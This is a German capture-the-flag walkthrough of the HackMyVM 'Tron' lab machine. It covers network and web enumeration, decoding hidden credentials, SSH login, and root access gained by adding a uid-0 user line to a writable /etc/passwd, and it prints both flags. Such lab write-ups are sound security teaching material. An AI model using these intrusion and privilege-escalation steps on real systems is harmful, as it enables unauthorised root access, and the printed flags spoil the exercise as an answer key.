Tron - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
base64
ssh
sudo
openssl
nano
cat

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir eine erste Aufklärung des Netzwerks durch, um aktive Hosts zu identifizieren. Dies ist ein wichtiger erster Schritt, um potenzielle Ziele für weitere Angriffe zu finden.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.115 08:00:27:d1:e7:b4 PCS Systemtechnik GmbH

Der Befehl arp-scan -l scannt das lokale Netzwerk nach aktiven Hosts und gibt ihre MAC-Adressen und Herstellernamen aus. In diesem Fall haben wir einen Host mit der IP-Adresse 192.168.2.115 gefunden, der von PCS Systemtechnik GmbH hergestellt wurde. Diese Information kann uns helfen, das Betriebssystem und die Dienste zu identifizieren, die auf dem Host laufen.

Als nächstes verwenden wir Nmap, um detailliertere Informationen über den identifizierten Host zu sammeln.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.115 -p-
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0
80/tcp open http Apache httpd 2.4.38 ((Debian))

Der Befehl nmap -sS -sC -T5 -A 192.168.2.115 -p- führt einen umfassenden Scan des Hosts 192.168.2.115 durch. Die Ausgabe zeigt, dass die Ports 22 (SSH) und 80 (HTTP) geöffnet sind.

Als nächstes verwenden wir Gobuster, um das Webverzeichnis auf dem Server zu durchsuchen.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
http://192.168.2.115/index.html (Status: 200) [Size: 309]
http://192.168.2.115/img (Status: 301) [Size: 312] [--> http://192.168.2.115/img/]
http://192.168.2.115/manual (Status: 301) [Size: 315] [--> http://192.168.2.115/manual/]
http://192.168.2.115/robots.txt (Status: 200) [Size: 623]
http://192.168.2.115/font (Status: 301) [Size: 313] [--> http://192.168.2.115/font/]
http://192.168.2.115/MCP (Status: 301) [Size: 312] [--> http://192.168.2.115/MCP/]
http://192.168.2.115/server-status (Status: 403) [Size: 278]

Der Befehl gobuster dir -u http://192.168.2.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt verwendet Gobuster, um das Webverzeichnis auf dem Server zu durchsuchen. Die Ausgabe zeigt, dass die Datei index.html und die Verzeichnisse img, manual, font und MCP gefunden wurden.

Web Enumeration

Wir haben festgestellt, dass die Datei robots.txt existiert. Nun untersuchen wir diese Datei genauer.

http://192.168.2.115/robots.txt
/user
/admin
/program
/memory
/kernel
/boot
/404
/docker
/??????

Die Ausgabe zeigt, dass die Datei robots.txt mehrere Verzeichnisse und eine Datei namens ?????? enthält.

Wir versuchen, den Inhalt der Datei ?????? anzuzeigen.

view-source:http://192.168.2.115/??????
<-- kzhh:SbWP9q94ZtE9qD -->

Der Kommentar enthält den Benutzernamen und das Passwort: kzhh:SbWP9q94ZtE9qD.

Wir untersuchen das MCP Verzeichnis.

http://192.168.2.115/MCP/tron.txt
MASTER CNTRL PRGRAM
----------------------

Ram:
Do you believe in the Users?

Crom:
Sure I do! If I didn't have a User, than who wrote me?


KysrKysrKysrK1s+Kz4rKys+KysrKysrKz4rKysrKysrKysrPDw8PC1dPj4+PisrKysrKysrKysrKy4tLS0tLi0tLS0tLS0tLS0tLisrKysrKysrKysrKysrKysrKysrKysrKy4tLS0tLS0tLS0tLS0tLS0tLS0tLS4rKysrKysrKysrKysrLg

Wir haben einen verschlüsselten Text gefunden.

Wir verwenden Base64, um den Text zu entschlüsseln.

┌──(root㉿cyber)-[~]
└─# echo -n "KysrKysrKysrK1s+Kz4rKys+KysrKysrKz4rKysrKysrKysrPDw8PC1dPj4+PisrKysrKysrKysrKy4tLS0tLi0tLS0tLS0tLS0tLisrKysrKysrKysrKysrKysrKysrKysrKy4tLS0tLS0tLS0tLS0tLS0tLS0tLS4rKysrKysrKysrKysrLg" | base64 -d
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.----.-----------.++++++++++++++++++++++++.--------------------.+++++++++++++.

Wir entschlüsseln den output der letzten ausgabe.

https://www.dcode.fr/brainfuck-language:
player

Der Name des Users lautet:Player.

Wir haben die Datei MCP/terminalserver/30513.txt gefunden. Wir verwenden diese nun.

http://192.168.2.115/MCP/terminalserver/30513.txt
substitute
--------------------------
plaintext
abcdefghijklmnopqrstuvwxyz

ciphertext
zyxwvutsrqponmlkjihgfedcba
--------------------------
SyWP9j94ZgE9jD

Nun haben wir ein Passwort für den User Player.

Initial Access

Wir haben den Benutzernamen "player" und das Passwort "SbWP9q94ZtE9qD" gefunden. Nun versuchen wir uns anzumelden.

┌──(root㉿cyber)-[~]
└─# ssh player@tron.vm
player@tron.vm's password:

Wir geben das Passwort ein.

Linux tron 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.

player@tron:~$

Anmeldung erfolgreich als Player.

Privilege Escalation

Nach dem wir uns als User Player angeldet haben suchen wir nun nach Optionen die uns Root rechte verschaffen.

player@tron:~$ sudo -l

Wir haben keine Sudo Rechte.

Wir versuchen das Passwort für den Benutzer "hacker" zu ändern.

player@tron:~$ openssl passwd

Wir erstellen ein neues Passwort.

player@tron:~$ nano /etc/passwd

Jetzt fügen wir das Root Password ein.

hacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Proof of Concept: Root-Zugriff erlangen

Nachdem wir das Passwort für den Benutzer "hacker" geändert haben, versuchen wir, uns anzumelden.

player@tron:~$ su hacker
Password:

Wir geben das neue Passwort ein.

root@tron:/home/player#

Wir haben nun Root Rechte.

Flags

cat user.txt HMVMuserplayer2021
cat /root/root.txt HMVMMasterControlProgram2021